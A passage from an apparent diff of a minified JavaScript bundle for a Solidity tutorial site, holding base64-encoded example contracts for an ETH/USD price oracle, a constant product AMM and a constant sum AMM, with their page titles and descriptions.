W50IGFuc3dlciwKICAgICAgICAgICAgdWludCBzdGFydGVkQXQsCiAgICAgICAgICAgIHVpbnQgdXBkYXRlZEF0LAogICAgICAgICAgICB1aW50ODAgYW5zd2VyZWRJblJvdW5kCiAgICAgICAgKTsKfQo="}],Um=`

                    ETH / USD Price Oracle

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -3498,7 +3498,7 @@ specify the location of the data.

                    uint80 answeredInRound ); } -
                    `,Qm=({prev:s,next:a})=>i.jsx(u,{version:Mm,title:Jm,description:zm,html:Lm,prev:s,next:a,codes:Em}),_m="0.8.20",Um="Constant Product AMM",Tm="Constant product AMM",Dm=[{fileName:"CPAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENQQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQgcHVibGljIH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1vdW50SW4gPiAwLCAiYW1vdW50IGluID0gMCIpOwoKICAgICAgICBib29sIGlzVG9rZW4wID0gX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApOwogICAgICAgIChJRVJDMjAgdG9rZW5JbiwgSUVSQzIwIHRva2VuT3V0LCB1aW50IHJlc2VydmVJbiwgdWludCByZXNlcnZlT3V0KSA9IGlzVG9rZW4wCiAgICAgICAgICAgID8gKHRva2VuMCwgdG9rZW4xLCByZXNlcnZlMCwgcmVzZXJ2ZTEpCiAgICAgICAgICAgIDogKHRva2VuMSwgdG9rZW4wLCByZXNlcnZlMSwgcmVzZXJ2ZTApOwoKICAgICAgICB0b2tlbkluLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50SW4pOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR5IGZvciBkeD8KCiAgICAgICAgeHkgPSBrCiAgICAgICAgKHggKyBkeCkoeSAtIGR5KSA9IGsKICAgICAgICB5IC0gZHkgPSBrIC8gKHggKyBkeCkKICAgICAgICB5IC0gayAvICh4ICsgZHgpID0gZHkKICAgICAgICB5IC0geHkgLyAoeCArIGR4KSA9IGR5CiAgICAgICAgKHl4ICsgeWR4IC0geHkpIC8gKHggKyBkeCkgPSBkeQogICAgICAgIHlkeCAvICh4ICsgZHgpID0gZHkKICAgICAgICAqLwogICAgICAgIC8vIDAuMyUgZmVlCiAgICAgICAgdWludCBhbW91bnRJbldpdGhGZWUgPSAoX2Ftb3VudEluICogOTk3KSAvIDEwMDA7CiAgICAgICAgYW1vdW50T3V0ID0gKHJlc2VydmVPdXQgKiBhbW91bnRJbldpdGhGZWUpIC8gKHJlc2VydmVJbiArIGFtb3VudEluV2l0aEZlZSk7CgogICAgICAgIHRva2VuT3V0LnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CgogICAgICAgIF91cGRhdGUodG9rZW4wLmJhbGFuY2VPZihhZGRyZXN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ydCh4XjIpKQogICAgICAgIAogICAgICAgIHNxcnQoeSkgb24gdG9wIGFuZCBib3R0b20gY2FuY2VscyBvdXQKCiAgICAgICAgLS0tIEVxdWF0aW9uIDMgLS0tCiAgICAgICAgRXF1YXRpb24gMiA9IChzcXJ0KHheMiArIDJ4ZHggKyBkeF4yKSAtIHNxcnQoeF4yKSkgLyAoc3FydCh4XjIpCiAgICAgICAgPSAoc3FydCgoeCArIGR4KV4yKSAtIHNxcnQoeF4yKSkgLyBzcXJ0KHheMikgIAogICAgICAgID0gKCh4ICsgZHgpIC0geCkgLyB4CiAgICAgICAgPSBkeCAvIHgKCiAgICAgICAgU2luY2UgZHggLyBkeSA9IHggLyB5LAogICAgICAgIGR4IC8geCA9IGR5IC8geQoKICAgICAgICBGaW5hbGx5CiAgICAgICAgKEwxIC0gTDApIC8gTDAgPSBkeCAvIHggPSBkeSAvIHkKICAgICAgICAqLwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9zcXJ0KF9hbW91bnQwICogX2Ftb3VudDEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9taW4oCiAgICAgICAgICAgICAgICAoX2Ftb3VudDAgKiB0b3RhbFN1cHBseSkgLyByZXNlcnZlMCwKICAgICAgICAgICAgICAgIChfYW1vdW50MSAqIHRvdGFsU3VwcGx5KSAvIHJlc2VydmUxCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIHJlcXVpcmUoc2hhcmVzID4gMCwgInNoYXJlcyA9IDAiKTsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwoKICAgICAgICBfdXBkYXRlKHRva2VuMC5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSksIHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICB1aW50IF9zaGFyZXMKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnQwLCB1aW50IGFtb3VudDEpIHsKICAgICAgICAvKgogICAgICAgIENsYWltCiAgICAgICAgZHgsIGR5ID0gYW1vdW50IG9mIGxpcXVpZGl0eSB0byByZW1vdmUKICAgICAgICBkeCA9IHMgLyBUICogeAogICAgICAgIGR5ID0gcyAvIFQgKiB5CgogICAgICAgIFByb29mCiAgICAgICAgTGV0J3MgZmluZCBkeCwgZHkgc3VjaCB0aGF0CiAgICAgICAgdiAvIEwgPSBzIC8gVAogICAgICAgIAogICAgICAgIHdoZXJlCiAgICAgICAgdiA9IGYoZHgsIGR5KSA9IHNxcnQoZHhkeSkKICAgICAgICBMID0gdG90YWwgbGlxdWlkaXR5ID0gc3FydCh4eSkKICAgICAgICBzID0gc2hhcmVzCiAgICAgICAgVCA9IHRvdGFsIHN1cHBseQoKICAgICAgICAtLS0gRXF1YXRpb24gMSAtLS0KICAgICAgICB2ID0gcyAvIFQgKiBMCiAgICAgICAgc3FydChkeGR5KSA9IHMgLyBUICogc3FydCh4eSkKCiAgICAgICAgQW1vdW50IG9mIGxpcXVpZGl0eSB0byByZW1vdmUgbXVzdCBub3QgY2hhbmdlIHByaWNlIHNvIAogICAgICAgIGR4IC8gZHkgPSB4IC8geQoKICAgICAgICByZXBsYWNlIGR5ID0gZHggKiB5IC8geAogICAgICAgIHNxcnQoZHhkeSkgPSBzcXJ0KGR4ICogZHggKiB5IC8geCkgPSBkeCAqIHNxcnQoeSAvIHgpCgogICAgICAgIERpdmlkZSBib3RoIHNpZGVzIG9mIEVxdWF0aW9uIDEgd2l0aCBzcXJ0KHkgLyB4KQogICAgICAgIGR4ID0gcyAvIFQgKiBzcXJ0KHh5KSAvIHNxcnQoeSAvIHgpCiAgICAgICAgICAgPSBzIC8gVCAqIHNxcnQoeF4yKSA9IHMgLyBUICogeAoKICAgICAgICBMaWtld2lzZQogICAgICAgIGR5ID0gcyAvIFQgKiB5CiAgICAgICAgKi8KCiAgICAgICAgLy8gYmFsMCA+PSByZXNlcnZlMAogICAgICAgIC8vIGJhbDEgPj0gcmVzZXJ2ZTEKICAgICAgICB1aW50IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIGFtb3VudDAgPSAoX3NoYXJlcyAqIGJhbDApIC8gdG90YWxTdXBwbHk7CiAgICAgICAgYW1vdW50MSA9IChfc2hhcmVzICogYmFsMSkgLyB0b3RhbFN1cHBseTsKICAgICAgICByZXF1aXJlKGFtb3VudDAgPiAwICYmIGFtb3VudDEgPiAwLCAiYW1vdW50MCBvciBhbW91bnQxID0gMCIpOwoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBfc2hhcmVzKTsKICAgICAgICBfdXBkYXRlKGJhbDAgLSBhbW91bnQwLCBiYWwxIC0gYW1vdW50MSk7CgogICAgICAgIHRva2VuMC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQwKTsKICAgICAgICB0b2tlbjEudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50MSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3NxcnQodWludCB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgaWYgKHkgPiAzKSB7CiAgICAgICAgICAgIHogPSB5OwogICAgICAgICAgICB1aW50IHggPSB5IC8gMiArIDE7CiAgICAgICAgICAgIHdoaWxlICh4IDwgeikgewogICAgICAgICAgICAgICAgeiA9IHg7CiAgICAgICAgICAgICAgICB4ID0gKHkgLyB4ICsgeCkgLyAyOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIGlmICh5ICE9IDApIHsKICAgICAgICAgICAgeiA9IDE7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIF9taW4odWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggPD0geSA/IHggOiB5OwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IGFtb3VudCk7Cn0K"}],Om=`

                    Constant product AMM XY = K

                    +`,Tm=({prev:s,next:a})=>i.jsx(u,{version:Em,title:Lm,description:Qm,html:Um,prev:s,next:a,codes:_m}),Dm="0.8.20",Om="Constant Product AMM",Pm="Constant product AMM",$m=[{fileName:"CPAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENQQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICB0b2tlbjAgPSBJRVJDMjAoX3Rva2VuMCk7CiAgICAgICAgdG9rZW4xID0gSUVSQzIwKF90b2tlbjEpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50IF9hbW91bnQpIHByaXZhdGUgewogICAgICAgIGJhbGFuY2VPZltfdG9dICs9IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50IF9hbW91bnQpIHByaXZhdGUgewogICAgICAgIGJhbGFuY2VPZltfZnJvbV0gLT0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIF91cGRhdGUodWludCBfcmVzZXJ2ZTAsIHVpbnQgX3Jlc2VydmUxKSBwcml2YXRlIHsKICAgICAgICByZXNlcnZlMCA9IF9yZXNlcnZlMDsKICAgICAgICByZXNlcnZlMSA9IF9yZXNlcnZlMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQgX2Ftb3VudEluKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKSB8fCBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMSksCiAgICAgICAgICAgICJpbnZhbGlkIHRva2VuIgogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShfYW1vdW50SW4gPiAwLCAiYW1vdW50IGluID0gMCIpOwoKICAgICAgICBib29sIGlzVG9rZW4wID0gX3Rva2VuSW4gPT0gYWRkcmVzcyh0b2tlbjApOwogICAgICAgIChJRVJDMjAgdG9rZW5JbiwgSUVSQzIwIHRva2VuT3V0LCB1aW50IHJlc2VydmVJbiwgdWludCByZXNlcnZlT3V0KSA9IGlzVG9rZW4wCiAgICAgICAgICAgID8gKHRva2VuMCwgdG9rZW4xLCByZXNlcnZlMCwgcmVzZXJ2ZTEpCiAgICAgICAgICAgIDogKHRva2VuMSwgdG9rZW4wLCByZXNlcnZlMSwgcmVzZXJ2ZTApOwoKICAgICAgICB0b2tlbkluLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50SW4pOwoKICAgICAgICAvKgogICAgICAgIEhvdyBtdWNoIGR5IGZvciBkeD8KCiAgICAgICAgeHkgPSBrCiAgICAgICAgKHggKyBkeCkoeSAtIGR5KSA9IGsKICAgICAgICB5IC0gZHkgPSBrIC8gKHggKyBkeCkKICAgICAgICB5IC0gayAvICh4ICsgZHgpID0gZHkKICAgICAgICB5IC0geHkgLyAoeCArIGR4KSA9IGR5CiAgICAgICAgKHl4ICsgeWR4IC0geHkpIC8gKHggKyBkeCkgPSBkeQogICAgICAgIHlkeCAvICh4ICsgZHgpID0gZHkKICAgICAgICAqLwogICAgIC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x5KSAvIHJlc2VydmUxCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgICAgIHJlcXVpcmUoc2hhcmVzID4gMCwgInNoYXJlcyA9IDAiKTsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwoKICAgICAgICBfdXBkYXRlKHRva2VuMC5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSksIHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICB1aW50IF9zaGFyZXMKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnQwLCB1aW50IGFtb3VudDEpIHsKICAgICAgICAvKgogICAgICAgIENsYWltCiAgICAgICAgZHgsIGR5ID0gYW1vdW50IG9mIGxpcXVpZGl0eSB0byByZW1vdmUKICAgICAgICBkeCA9IHMgLyBUICogeAogICAgICAgIGR5ID0gcyAvIFQgKiB5CgogICAgICAgIFByb29mCiAgICAgICAgTGV0J3MgZmluZCBkeCwgZHkgc3VjaCB0aGF0CiAgICAgICAgdiAvIEwgPSBzIC8gVAogICAgICAgIAogICAgICAgIHdoZXJlCiAgICAgICAgdiA9IGYoZHgsIGR5KSA9IHNxcnQoZHhkeSkKICAgICAgICBMID0gdG90YWwgbGlxdWlkaXR5ID0gc3FydCh4eSkKICAgICAgICBzID0gc2hhcmVzCiAgICAgICAgVCA9IHRvdGFsIHN1cHBseQoKICAgICAgICAtLS0gRXF1YXRpb24gMSAtLS0KICAgICAgICB2ID0gcyAvIFQgKiBMCiAgICAgICAgc3FydChkeGR5KSA9IHMgLyBUICogc3FydCh4eSkKCiAgICAgICAgQW1vdW50IG9mIGxpcXVpZGl0eSB0byByZW1vdmUgbXVzdCBub3QgY2hhbmdlIHByaWNlIHNvIAogICAgICAgIGR4IC8gZHkgPSB4IC8geQoKICAgICAgICByZXBsYWNlIGR5ID0gZHggKiB5IC8geAogICAgIC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AgaWYgKHkgPiAzKSB7CiAgICAgICAgICAgIHogPSB5OwogICAgICAgICAgICB1aW50IHggPSB5IC8gMiArIDE7CiAgICAgICAgICAgIHdoaWxlICh4IDwgeikgewogICAgICAgICAgICAgICAgeiA9IHg7CiAgICAgICAgICAgICAgICB4ID0gKHkgLyB4ICsgeCkgLyAyOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIGlmICh5ICE9IDApIHsKICAgICAgICAgICAgeiA9IDE7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIF9taW4odWludCB4LCB1aW50IHkpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggPD0geSA/IHggOiB5OwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IGFtb3VudCk7Cn0K"}],qm=`

                    Constant product AMM XY = K

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.20;
                     
                    @@ -3744,7 +3744,7 @@ specify the location of the data.

                    event Transfer(address indexed from, address indexed to, uint amount); event Approval(address indexed owner, address indexed spender, uint amount); } -
                    `,Pm=({prev:s,next:a})=>i.jsx(u,{version:_m,title:Um,description:Tm,html:Om,prev:s,next:a,codes:Dm}),$m="0.8.20",qm="Constant Sum AMM",sA="Constant sum AMM",aA=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludCBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX3RvXSArPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9hbW91bnQ7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBfZnJvbSwgdWludCBfYW1vdW50KSBwcml2YXRlIHsKICAgICAgICBiYWxhbmNlT2ZbX2Zyb21dIC09IF9hbW91bnQ7CiAgICAgICAgdG90YWxTdXBwbHkgLT0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBfdXBkYXRlKHVpbnQgX3JlczAsIHVpbnQgX3JlczEpIHByaXZhdGUgewogICAgICAgIHJlc2VydmUwID0gX3JlczA7CiAgICAgICAgcmVzZXJ2ZTEgPSBfcmVzMTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwKGFkZHJlc3MgX3Rva2VuSW4sIHVpbnQgX2Ftb3VudEluKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIF90b2tlbkluID09IGFkZHJlc3ModG9rZW4wKSB8fCBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMSksCiAgICAgICAgICAgICJpbnZhbGlkIHRva2VuIgogICAgICAgICk7CgogICAgICAgIGJvb2wgaXNUb2tlbjAgPSBfdG9rZW5JbiA9PSBhZGRyZXNzKHRva2VuMCk7CgogICAgICAgIChJRVJDMjAgdG9rZW5JbiwgSUVSQzIwIHRva2VuT3V0LCB1aW50IHJlc0luLCB1aW50IHJlc091dCkgPSBpc1Rva2VuMAogICAgICAgICAgICA/ICh0b2tlbjAsIHRva2VuMSwgcmVzZXJ2ZTAsIHJlc2VydmUxKQogICAgIC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J2ZTA7CiAgICAgICAgdWludCBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPSB0b3RhbCBzdXBwbHkKCiAgICAgICAgcyBzaG91bGQgYmUgcHJvcG9ydGlvbmFsIHRvIGluY3JlYXNlIGZyb20gTCB0byBMICsgYQogICAgICAgIChMICsgYSkgLyBMID0gKFQgKyBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludCBfc2hhcmVzKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGQwLCB1aW50IGQxKSB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IG91dAogICAgICAgIEwgPSB0b3RhbCBsaXF1aWRpdHkKICAgICAgICBzID0gc2hhcmVzCiAgICAgICAgVCA9IHRvdGFsIHN1cHBseQoKICAgICAgICBhIC8gTCA9IHMgLyBUCgogICAgICAgIGEgPSBMICogcyAvIFQKICAgICAgICAgID0gKHJlc2VydmUwICsgcmVzZXJ2ZTEpICogcyAvIFQKICAgICAgICAqLwogICAgICAgIGQwID0gKHJ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ucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg=="}],nA=`

                    Constant sum AMM X + Y = K

                    +`,sA=({prev:s,next:a})=>i.jsx(u,{version:Dm,title:Om,description:Pm,html:qm,prev:s,next:a,codes:$m}),aA="0.8.20",nA="Constant Sum AMM",lA="Constant sum AMM",pA=[{fileName:"CSAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IENTQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQgcHVibGljIHRvdGFsU3VwcGx5OwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4wLCBhZGRyZXNzIF90b2tlbjEpIHsKICAgICAgICAvLyBOT1RFOiBUaGlzIGNvbnRyYWN0IGFzc3VtZXMgdGhhdCB0b2tlbjAgYW5kIHRva2VuMQogICAgICAgIC8vIGJvdGggaGF2ZSBzYW1lIGRlY2ltYWxzCiAgICAgICAgdG9rZW4wID0gSUVSQzIwKF90b2tlbjApOwogICAgICAgIHRva2VuMSA9IElFUkMyMChfdG9rZW4xKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfbWludChhZGRyZXNzIF90bywgdWludCBf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zcyh0aGlzKSwgX2Ftb3VudEluKTsKICAgICAgICB1aW50IGFtb3VudEluID0gdG9rZW5Jbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkgLSByZXNJbjsKCiAgICAgICAgLy8gMC4zJSBmZWUKICAgICAgICBhbW91bnRPdXQgPSAoYW1vdW50SW4gKiA5OTcpIC8gMTAwMDsKCiAgICAgICAgKHVpbnQgcmVzMCwgdWludCByZXMxKSA9IGlzVG9rZW4wCiAgICAgICAgICAgID8gKHJlc0luICsgYW1vdW50SW4sIHJlc091dCAtIGFtb3VudE91dCkKICAgICAgICAgICAgOiAocmVzT3V0IC0gYW1vdW50T3V0LCByZXNJbiArIGFtb3VudEluKTsKCiAgICAgICAgX3VwZGF0ZShyZXMwLCByZXMxKTsKICAgICAgICB0b2tlbk91dC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRPdXQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSh1aW50IF9hbW91bnQwLCB1aW50IF9hbW91bnQxKSBleHRlcm5hbCByZXR1cm5zICh1aW50IHNoYXJlcykgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDApOwogICAgICAgIHRva2VuMS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudDEpOwoKICAgICAgICB1aW50IGJhbDAgPSB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQgYmFsMSA9IHRva2VuMS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CgogICAgICAgIHVpbnQgZDAgPSBiYWwwIC0gcmVzZXJ2ZTA7CiAgICAgICAgdWludCBkMSA9IGJhbDEgLSByZXNlcnZlMTsKCiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50IGluCiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMgdG8gbWludAogICAgICAgIFQgPS